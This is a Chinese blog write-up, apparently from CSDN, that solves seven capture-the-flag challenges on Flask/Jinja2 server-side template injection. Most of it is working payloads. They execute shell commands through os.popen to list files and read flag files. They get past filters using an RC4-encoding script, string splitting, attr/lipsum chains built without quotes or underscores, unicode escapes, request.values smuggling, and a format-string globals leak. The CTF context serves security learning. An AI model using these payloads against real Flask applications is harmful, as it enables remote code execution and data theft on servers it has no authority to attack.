• 【Web】Flask|Jinja2 SSTI


    目录

    ①[NISACTF 2022]is secret

    ②[HNCTF 2022 WEEK2]ez_SSTI

    ③[GDOUCTF 2023] 

    ④[NCTF 2018]flask真香

    ⑤[安洵杯 2020]Normal SSTI

    ⑥[HNCTF 2022 WEEK3]ssssti

    ⑦[MoeCTF 2021]地狱通讯


    ①[NISACTF 2022]is secret

    dirsearch扫出/secret

     

    明示get传一个secret 

    ?secret={{7*7}}直接报错告诉我们是flask

     点开看看

    rc4加密?

    密钥为HereIsTreasure

    贴一段脚本先

    1. import base64
    2. from urllib import parse
    3. def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容
    4. s_box = rc4_init_sbox(key)
    5. crypt = str(rc4_excrypt(message, s_box))
    6. return crypt
    7. def rc4_init_sbox(key):
    8. s_box = list(range(256))
    9. j = 0
    10. for i in range(256):
    11. j = (j + s_box[i] + ord(key[i % len(key)])) % 256
    12. s_box[i], s_box[j] = s_box[j], s_box[i]
    13. return s_box
    14. def rc4_excrypt(plain, box):
    15. res = []
    16. i = j = 0
    17. for s in plain:
    18. i = (i + 1) % 256
    19. j = (j + box[i]) % 256
    20. box[i], box[j] = box[j], box[i]
    21. t = (box[i] + box[j]) % 256
    22. k = box[t]
    23. res.append(chr(ord(s) ^ k))
    24. cipher = "".join(res)
    25. return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    26. key = "HereIsTreasure" # 此处为密文
    27. message = input("请输入明文:\n")
    28. enc_base64 = rc4_main(key, message)
    29. enc_init = str(base64.b64decode(enc_base64), 'utf-8')
    30. enc_url = parse.quote(enc_init)
    31. print("rc4加密后的url编码:" + enc_url)
    32. # print("rc4加密后的base64编码"+enc_base64)
    33. //请输入明文:
    34. {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
    35. rc4加密后的url编码:.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

    最终payload:

    /secret?secret=.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

    ②[HNCTF 2022 WEEK2]ez_SSTI

    明示SSTI

    测出注入点

     

    上武器库

    直接秒了还行

    ?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

     

    ?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac f*').read()")}}

     

    ③[GDOUCTF 2023] 

    看到输入框先试试SSTI()

    经过测试 发现过滤了 _ {{}} . [] '' os popen getitem \

    {%!%}报错发现是Jinja2

    太麻烦了直接上Fenjing先梭

    (梭门!!!)

    或者字符串拼接

    {% set po=dict(po=a,p=a)|join%}
    {% set a=(()|select|string|list)|attr(po)(24)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(get=a,item=b)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% print((x|attr(geti))('open')('/flag')|attr('read')()) %}

    再极端一点过滤引号

    {% set pop=dict(pop=1)|join %}
    {% set kong=(lipsum|string|list)|attr(pop)(9) %}
    {% set xhx=(lipsum|string|list)|attr(pop)(18) %}
    {% set re=(config|string|list)|attr(pop)(239) %}
    {% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
    {% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
    {% set o=dict(o=a,s=b)|join %}
    {% set po=dict(pop=a,en=b)|join %}
    {% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
    {% set read=dict(read=a)|join %}
    {% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

    ④[NCTF 2018]flask真香

    发现注入点

    fuzz测试出以下字符被过滤,拼接即可

    原payload:

    {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

    修改后:

    /{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

    /{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('tac /Th1s_is__F1114g').read()")}}

    ⑤[安洵杯 2020]Normal SSTI

    先试{%!%}直接报错Jinja2

    乐,Fenjing启动

     然而并不行,看来过滤挺多的

    但经过尝试没有过滤""

    上大招

    {%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}

     unicode编码脚本

    1. class_name = "__globals__"
    2. unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
    3. print(unicode_class_name)

    {%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%} 

    ⑥[HNCTF 2022 WEEK3]ssssti

    找到注入点

    fuzz测出黑名单

     对照武器库直接秒了

    ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=tac /flag

    ⑦[MoeCTF 2021]地狱通讯

    开屏直接放了源码

    首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。

    我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。

    payload:

    ?f1ag=&exp={0.__class__.__init__.__globals__} 

  • 相关阅读:
    数据结构 ----- 归并排序
    TypeError: __init__() got an unexpected keyword argument ‘transport_options‘
    Qt第十八章:Qt Designer窗口切换
    【算法】单调栈
    【深入理解Linux内核锁】六、信号量
    尝试FreeBSD下安装ollama
    C语言 | Leetcode C语言题解之第148题排序链表
    常用接口测试工具
    解决:PowerDesigne找不到右边表的工具栏
    ESP8266/ESP32 通过TimeLib库获取NTP时间方法
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134497690